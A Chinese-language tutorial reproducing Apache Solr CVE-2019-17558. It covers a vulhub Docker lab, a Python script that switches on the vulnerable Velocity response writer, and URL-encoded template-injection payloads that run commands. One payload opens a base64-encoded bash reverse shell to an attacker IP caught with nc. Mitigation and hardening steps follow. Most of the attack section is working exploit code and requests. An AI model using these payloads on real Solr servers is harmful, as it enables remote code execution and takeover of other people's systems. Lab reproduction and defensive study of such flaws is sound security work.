手把手复现Apache Solr CVE-2019-17558漏洞:从环境搭建到反弹Shell完整流程
从零构建Apache Solr漏洞实验环境:CVE-2019-17558深度复现指南
在开源搜索平台的安全实践中,Apache Solr曾因Velocity模板引擎的配置缺陷导致重大安全风险。本文将带您从实验环境搭建开始,逐步拆解这个经典漏洞的完整利用链条。不同于简单的漏洞描述,我们会重点分析Velocity模板注入背后的Java反射机制,并演示如何绕过Runtime.exec的限制实现高效反弹Shell。
1. 实验环境科学搭建
1.1 容器化部署方案选择
推荐使用Docker-compose快速构建靶场环境,这比手动配置节省80%以上的时间。以下是经过优化的docker-compose.yml配置:
version: '3' services: solr: image: vulhub/solr:8.2.0 ports: - "8983:8983" volumes: - ./solr-data:/var/solr environment: - SOLR_HEAP=512m启动后访问http://localhost:8983即可看到Solr管理界面。这个特定版本(8.2.0)完美复现了漏洞所需的所有条件,同时避免了其他无关漏洞的干扰。
注意:若使用VMware等虚拟机环境,建议分配至少2GB内存。Solr在索引构建时较为资源密集。
1.2 核心配置与漏洞前置条件
成功启动后,需要先创建一个测试核心:
docker exec -it [容器ID] bash -c "/opt/solr/bin/solr create_core -c vulnerable_core"关键漏洞触发依赖于两个配置参数:
params.resource.loader.enabled- 允许加载外部模板solr.resource.loader.enabled- 启用资源加载器
通过API接口可以验证核心是否创建成功:
http://localhost:8983/solr/admin/cores?indexInfo=false&wt=json2. 漏洞机理深度解析
2.1 Velocity模板注入原理
Velocity模板引擎原本用于动态生成搜索结果页面,但其支持Java反射的特性成为了突破口。观察这个典型的SSTI(服务器端模板注入)Payload:
#set($x='') #set($rt=$x.class.forName('java.lang.Runtime'))这段代码通过空字符串获取Class对象,进而访问Runtime类。这种链式调用完全违背了最小权限原则,是漏洞形成的根本原因。
2.2 配置开启的自动化脚本
传统方法需要手动修改配置,我们可以用Python脚本自动化这个过程:
import requests target = "http://localhost:8983" config_url = f"{target}/solr/vulnerable_core/config" headers = {"Content-Type": "application/json"} payload = { "update-queryresponsewriter": { "startup": "lazy", "name": "velocity", "class": "solr.VelocityResponseWriter", "params.resource.loader.enabled": "true", "solr.resource.loader.enabled": "true" } } response = requests.post(config_url, json=payload, headers=headers) print(response.status_code)执行后返回200状态码即表示配置修改成功。这一步实际上开启了危险的模板自定义功能。
3. 攻击链实战构建
3.1 基础命令执行验证
使用经过URL编码的简单命令测试漏洞:
http://localhost:8983/solr/vulnerable_core/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()这个Payload会执行Linux系统的id命令,返回当前用户权限信息。关键点在于:
#set指令初始化变量getRuntime().exec()触发命令执行waitFor()确保获取完整输出
3.2 反弹Shell的高级技巧
由于Runtime.exec()无法直接处理管道符等bash特性,需要采用Base64编码迂回实现:
# 原始命令 bash -i >& /dev/tcp/攻击机IP/端口 0>&1 # Base64编码后 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ==构造最终的漏洞利用URL时,需要特别注意特殊字符的二次编码:
http://localhost:8983/solr/vulnerable_core/select?q=1&&wt=velocity&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzg4ODggMD4mMQ==}|{base64%2C-d}|{bash%2C-i}%27))+$ex.waitFor()在攻击机使用nc监听对应端口:
nc -lvnp 88884. 防御方案与加固措施
4.1 临时缓解方案
对于无法立即升级的系统,建议通过以下API禁用危险配置:
POST /solr/vulnerable_core/config HTTP/1.1 Content-Type: application/json { "update-queryresponsewriter": { "params.resource.loader.enabled": "false", "solr.resource.loader.enabled": "false" } }4.2 长期安全加固
版本升级路线:
- Solr 8.3.1之后版本完全移除了危险配置项
- 新版采用白名单机制控制模板访问
网络层防护:
- 限制8983端口的访问IP范围
- 部署WAF规则拦截包含
class.forName等关键字的请求
运行时防护:
# 使用seccomp限制容器系统调用 docker run --security-opt seccomp=seccomp-profile.json ...
在实际渗透测试项目中,遇到Solr系统时应当先通过版本指纹识别确认是否存在此漏洞。一个简单的识别方法是检查/solr/admin/info/system端点返回的版本信息。
